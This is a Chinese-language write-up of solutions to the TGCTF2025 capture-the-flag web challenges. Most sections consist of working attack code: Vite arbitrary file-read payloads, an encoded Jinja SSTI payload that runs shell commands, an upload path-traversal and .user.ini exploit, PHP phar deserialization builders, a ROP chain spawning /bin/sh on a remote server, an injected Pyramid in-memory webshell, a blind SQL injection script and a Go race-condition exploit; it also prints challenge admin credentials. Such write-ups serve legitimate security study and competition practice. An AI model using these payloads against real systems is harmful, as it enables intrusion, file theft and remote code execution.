TGCTF2025

CTF

TGCTF2025

前端GAME

利用vite的那个最新的CVE读取flag

image-20250412160400213

前端GAME Plus

看源代码可知版本是:”vite”: “6.2.4”

这个版本还有一个payload。可以看这篇文章:Vite开发服务器任意文件读取漏洞分析复现(CVE-2025-31125)-先知社区

1
/etc/passwd?import&?fffffilm.svg?.wasm?init

image-20250413153244941

image-20250413153259883

其实这个也行:使用 ‘.svg’ 或相对路径绕过 ‘server.fs.deny

前端GAME Ultra

这题给docker了。

“vite”: “6.2.5”,又更新了一个版本

翻vite的security就行。里面有针对各个版本的payload。

找到6.2.5的payload:

1
@fs/app/#/../../tgflagggg

image-20250413154955982

火眼辩魑魅

robots.txt找到一堆可利用的

image-20250412160556755

tgshell.php是个eval,直接蚁剑连shell就好了

image-20250412160500353

直面天命

打ssti,但是{被过滤了,放弃。hint路由说有一个四个小写字母组成的路由

爆破得到aazz(这样设计的话只要爆破不到700次就行,还挺快的

/aazz?filename=app.py得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars

@app.route('/')
def home():
return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{ url_for("static", filename="3.jpeg") }}" alt="Image">'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{ url_for("static", filename="4.jpeg") }}" alt="Image">'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"
template= template.replace("直面","{{").replace("天命","}}")
template = template
if "cat" in template:
template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{ url_for("static", filename="2.jpeg") }}" alt="Image">'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:<br>{template}"
return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
template="hint:<br>有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!"
return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
filename = request.args.get('filename', '')
if filename == "":
return send_from_directory('static', 'file.html')

if not filename.replace('_', '').isalnum():
content = jsonify({'error': '只允许字母和数字!'}), 400
if os.path.isfile(filename):
try:
with open(filename, 'r') as file:
content = file.read()
return content
except Exception as e:
return jsonify({'error': str(e)}), 500
else:
return jsonify({'error': '路径不存在或者路径非法'}), 404


if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

/aazz?filename=/a/b/c/d/secret.py得到secretkey

1
2
# 找到六根又如何?还不是听天由命?直面天命吧,天命人!<br>
secret_key = "直面天命

读源码发现可以这样:直面7*7天命 实现ssti

看看waf

black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']

只过滤关键字等于没有过滤,直接利用编码绕过就好了

先拿globals

1
直面''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()天命

得到224: warnings.catch_warnings

1
直面''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[224]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\166\141\154']('\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\160\157\160\145\156\50\42\143\141\164\40\57\146\154\141\147\42\51\56\162\145\141\144\50\51')天命

原始payload

1
{{''.__class__.__base__.__subclasses__()[224].__init__['__globals__']['__builtins__']['eval']("__import__("os").popen("cat /flag").read()")}}

image-20250412205629694

直面天命(复仇)

读源码发现现在是天命难违包裹ssti

还是过滤关键字,然后flag名字换了一下。用一样的方法梭了就好了。

1
{{''.__class__.__base__.__subclasses__()[224].__init__['__globals__']['__builtins__']['eval']("__import__("os").popen("__import__("os").popen("cat /tgffff11111aaaagggggggg").read()").read()")}}

image-20250413100252838

AAA偷渡阴平

无参数rce

image-20250412161955910

AAA偷渡阴平(复仇)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

考虑用session打无参数rce,但是报这个了。

image-20250413095346271

询问gpt

image-20250413095516887

但我记得之前这样也能打啊,怪

image-20250413095558444

(ez)upload

文件后缀黑名单写的很死,但是没过滤.user.ini。可是上传目录里面没有php文件,所以打不了。

后来发现upload.php.bak

image-20250412202839129

审计发现存在目录穿越漏洞,利用这个,把.user.ini传到web目录就可以利用upload.php了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['name']['tmp_name'];
$file_content = file_get_contents($temp_file);

if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403; // 403 表示禁止访问
} else {
$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = '文件上传成功!';
} else {
$msg = '上传出错!';
$status_code = 500; // 500 表示服务器内部错误
}
}
} else {
$msg = '禁止保存为该类型文件!';
$status_code = 403; // 403 表示禁止访问
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
$status_code = 404; // 404 表示资源未找到
}
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([
'status_code' => $status_code,
'msg' => $msg,
]);

利用get参数目录穿越,上传文件

image-20250412153521814

image-20250412153539136

rce:

image-20250412153455448

什么文件上传?

robots.txt发现class.php

直接打反序列化就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;

}
class today {
public $doing;
public $did;
public $done;

}

class future{
public $impossible="How can you get here?<br>";
public $out;
public $no;
}

$a=new yesterday();
$a->study=new today();
$a->study->doing=new future();

echo serialize($a)."\n";
echo base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(serialize($a))))));

image-20250412154017626

什么文件上传?(复仇)

直接反序列化不了了,但是有file_exit函数,可以打phar反序列化

接下来的问题是找到robots.txt说的三位小写字母后缀文件。

爆破一下就行

image-20250412203904564

然后上传我们的phar文件,payload还是之前那个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class yesterday {
public $learn;
public $study="study";
public $try;

}
class today {
public $doing;
public $did;
public $done;

}
class tommoraw {
public $good;
public $bad;
public $soso;

}

$a=new yesterday();
$a->study=new today();
$a->study->doing=new future();
echo (serialize($a));

@unlink('phar.phar');
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');

$phar->setMetadata($a);

$phar->addFromString('test.txt','file content goes here'); // phar:[phar.phar][system_get_you_filename]/1.txt
$phar->stopBuffering();
?>

image-20250412203803785

TG_wordpress

robots.txt

image-20250412160028648

给pwn手打一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
#io = process('./vuln')
io=remote('101.37.149.223',52013)
elf = ELF("./vuln")

from struct import pack

p = b'A'*(0x20+8)

p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000419484) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a5e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d350) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a5e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000047f2eb) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000043d350) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401ce4) # syscall


io.sendline(p)
io.interactive()

img

拿到账号密码

TG_wordpressor
aXx^oV@K&cFoVaztQ*

登录后台之后是

image-20250412160806955

CVE-2020-25213 WordPress远程代码执行漏洞复现

但是开这个WP File Manager插件一开环境就寄了。并且打的时候的确会触发waf

image-20250412160933820

估计就是这个漏洞,但是一直打不出来。后面发现题目下架重上了,说提交CVE编号就行。

提交TGCTF{CVE-2020-25213}正确。

熟悉的配方,熟悉的味道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
'__builtins__': {}, # 禁用所有内置函数
'__import__': None # 禁止动态导入
}


def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))

if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0

return 1


def home_view(request):
expr_input = ""
result = ""

if request.method == 'POST':
expr_input = request.POST['expr']
if checkExpr(expr_input):
try:
result = eval(expr_input, eval_globals)
except Exception as e:
result = e
else:
result = "爬!"


template_str = 【xxx】

env = Environment(loader=BaseLoader())
template = env.from_string(template_str)
rendered = template.render(expr_input=expr_input, result=result)
return Response(rendered)


if __name__ == '__main__':
with Configurator() as config:
config.add_route('home_view', '/')
config.add_view(home_view, route_name='home_view')
app = config.make_wsgi_app()

server = make_server('0.0.0.0', 9040, app)
server.serve_forever()

发现checkExpr里面有个无过滤的exec。本地测试的确可以执行命令,但是没有回显。并且靶机不出网,打一个内存马即可。

奇安信攻防社区-强网杯S8决赛Pyramid框架下内存马的分析构造及RS加密签名伪造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
from urllib.parse import quote
code='''def waff():
def f():
yield g.gi_frame.f_back

g = f()
frame = next(g)
b = frame.f_back.f_back.f_globals
def hello(request):
code = request.params['code']
res=eval(code)
return Response(res)

config.add_route('shellb', '/shellb')
config.add_view(hello, route_name='shellb')
config.commit()

waff()
'''

code1="print(1)"

data={"expr":code}
burp0_url = "http://node1.tgctf.woooo.tech:31618/"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate, br", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1", "Priority": "u=0, i"}
res=requests.post(burp0_url, headers=burp0_headers,data=data)
print(res.text)

image-20250412174339091

TGCTF 2025 后台管理

发现输入单引号时会触发waf。并且只过滤了单引号。而sql语句又是’闭合的。可以利用\配合布尔盲注就好了

可以看到成功跳转

image-20250413122331496

可以用这个拿到库名

payload = “ord(mid(database(),%d,1))>%d” % (i, tmp)

tgctf

但是有长度限制,一直注入不出来表名和字段名

随便试几个拿到了flag表。但是字段不知道,继续猜

username字段->tgmin

password字段->tshdjkashdjsj

这两个拿到也没用。

但是flag在哪一直找不到。后来试一下发现可以直接select * from flag。 why,我本地测试明明通不过。可能这个题为了长度限制调整了表结构,也许吧,不是很懂。

完整盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import time
import urllib
# url是随时更新的,具体的以做题时候的为准
url = 'http://124.71.147.99:9045/login'
i = 0
flag = ''
while True:
i += 1
# 从可打印字符开始
begin = 32
end = 126
tmp = (begin + end) // 2
while begin < end:
print(begin, tmp, end)
time.sleep(0.1)
# 爆当前库 tgctf
#payload = "ord(mid(database(),%d,1))>%d" % (i, tmp)
# 爆flag
payload = "ord(mid((select * from flag),%d,1))>%d;" % (i, tmp)
#print(payload)
data = {
'username': "-1\\",
'password': "||"+payload+urllib.parse.unquote('%00'),
}
r = requests.post(url, data=data)
#print(r.text)
if '错误' not in r.text:
begin = tmp + 1
tmp = (begin + end) // 2
else:
end = tmp
tmp = (begin + end) // 2

flag += chr(tmp)
print(flag)

if begin == 32:
break

image-20250413142417706

老登,炸鱼来了?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
package main

import (
"fmt"
"io"
"log"
"net/http"
"os"
"path/filepath"
"strings"
"text/template"
"time"
)

type Note struct {
Name string
ModTime string
Size int64
IsMarkdown bool
}

var templates = template.Must(template.ParseGlob("templates/*"))

type PageData struct {
Notes []Note
Error string
}

func blackJack(path string) error {

if strings.Contains(path, "..") || strings.Contains(path, "/") || strings.Contains(path, "flag") {
return fmt.Errorf("非法路径")
}

return nil
}

func renderTemplate(w http.ResponseWriter, tmpl string, data interface{}) {
safe := templates.ExecuteTemplate(w, tmpl, data)
if safe != nil {
http.Error(w, safe.Error(), http.StatusInternalServerError)
}
}

func renderError(w http.ResponseWriter, message string, code int) {
w.WriteHeader(code)
templates.ExecuteTemplate(w, "error.html", map[string]interface{}{
"Code": code,
"Message": message,
})
}

func main() {
os.Mkdir("notes", 0755)

safe := blackJack("/flag") //错误示范,return fmt.Errorf("非法路径")

http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
files, safe := os.ReadDir("notes")
if safe != nil {
renderError(w, "无法读取目录", http.StatusInternalServerError)
return
}

var notes []Note
for _, f := range files {
if f.IsDir() {
continue
}

info, _ := f.Info()
notes = append(notes, Note{
Name: f.Name(),
ModTime: info.ModTime().Format("2006-01-02 15:04"),
Size: info.Size(),
IsMarkdown: strings.HasSuffix(f.Name(), ".md"),
})
}

renderTemplate(w, "index.html", PageData{Notes: notes})
})

http.HandleFunc("/read", func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")

if safe = blackJack(name); safe != nil {
renderError(w, safe.Error(), http.StatusBadRequest)
return
}

file, safe := os.Open(filepath.Join("notes", name))
if safe != nil {
renderError(w, "文件不存在", http.StatusNotFound)
return
}

data, safe := io.ReadAll(io.LimitReader(file, 10240))
if safe != nil {
renderError(w, "读取失败", http.StatusInternalServerError)
return
}

if strings.HasSuffix(name, ".md") {
w.Header().Set("Content-Type", "text/html")
fmt.Fprintf(w, <html><head><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css"></head><body class="markdown-body">%s</body></html>, data)
} else {
w.Header().Set("Content-Type", "text/plain")
w.Write(data)
}
})

http.HandleFunc("/write", func(w http.ResponseWriter, r *http.Request) {
if r.Method != "POST" {
renderError(w, "方法不允许", http.StatusMethodNotAllowed)
return
}

name := r.FormValue("name")
content := r.FormValue("content")

if safe = blackJack(name); safe != nil {
renderError(w, safe.Error(), http.StatusBadRequest)
return
}

if r.FormValue("format") == "markdown" && !strings.HasSuffix(name, ".md") {
name += ".md"
} else {
name += ".txt"
}

if len(content) > 10240 {
content = content[:10240]
}

safe := os.WriteFile(filepath.Join("notes", name), []byte(content), 0600)
if safe != nil {
renderError(w, "保存失败", http.StatusInternalServerError)
return
}

http.Redirect(w, r, "/", http.StatusSeeOther)
})

http.HandleFunc("/delete", func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")
if safe = blackJack(name); safe != nil {
renderError(w, safe.Error(), http.StatusBadRequest)
return
}

safe := os.Remove(filepath.Join("notes", name))
if safe != nil {
renderError(w, "删除失败", http.StatusInternalServerError)
return
}

http.Redirect(w, r, "/", http.StatusSeeOther)
})

// 静态文件服务
http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("static"))))

srv := &http.Server{
Addr: ":9046",
ReadTimeout: 10 * time.Second,
WriteTimeout: 15 * time.Second,
}
log.Fatal(srv.ListenAndServe())
}

我们先看waf

1
2
3
4
5
6
7
8
func blackJack(path string) error {

if strings.Contains(path, "..") || strings.Contains(path, "/") || strings.Contains(path, "flag") {
return fmt.Errorf("非法路径")
}

return nil
}

这里的waf直接绕是绕不过的。但是我们再看到读取的逻辑

1
2
3
4
5
name := r.URL.Query().Get("name")
if safe = blackJack(name); safe != nil {
renderError(w, safe.Error(), http.StatusBadRequest)
return
}

题目是改的这个题

在 Go 语言中,操作符 := 用于变量的 声明 和赋值,而 = 仅用于变量赋值。发现safe变量是在main函数里面声明定义的,也就是说定义域足够

  1. 先传一个name=xxx,这将使safe被赋值为 nil
  2. 再传name=../../../flag,如果这时候safe仍然为nil,就可以读取到flag了。

竞争脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import aiohttp
import asyncio
import time

class Solver:
def __init__(self, baseUrl):
self.baseUrl = baseUrl
self.READ_FILE_ENDPOINT = f'{self.baseUrl}'
self.VALID_CHECK_PARAMETER = '/read?name=1'
self.INVALID_CHECK_PARAMETER = '/read?name=../../../flag'
self.RACE_CONDITION_JOBS = 100

async def raceValidationCheck(self, session, parameter):
url = f'{self.READ_FILE_ENDPOINT}{parameter}'
async with session.get(url) as response:
return await response.text()

async def raceCondition(self, session):
tasks = []
for _ in range(self.RACE_CONDITION_JOBS):
tasks.append(self.raceValidationCheck(session, self.VALID_CHECK_PARAMETER))
tasks.append(self.raceValidationCheck(session, self.INVALID_CHECK_PARAMETER))
return await asyncio.gather(*tasks)

async def solve(self):
async with aiohttp.ClientSession() as session:
attempts = 1
finishedRaceConditionJobs = 0
while True:
print(f'[*] Attempt {attempts} - Finished race condition jobs: {finishedRaceConditionJobs}')
results = await self.raceCondition(session)
attempts += 1
finishedRaceConditionJobs += self.RACE_CONDITION_JOBS * 2
for result in results:
if 'TGCTF{' in result:
print(f'\n[+] We won the race window! Flag:\n{result.strip()}')
exit(0)

if __name__ == '__main__':
baseUrl = 'http://127.0.0.1:2197'
solver = Solver(baseUrl)
asyncio.run(solver.solve())

image-20250415125435033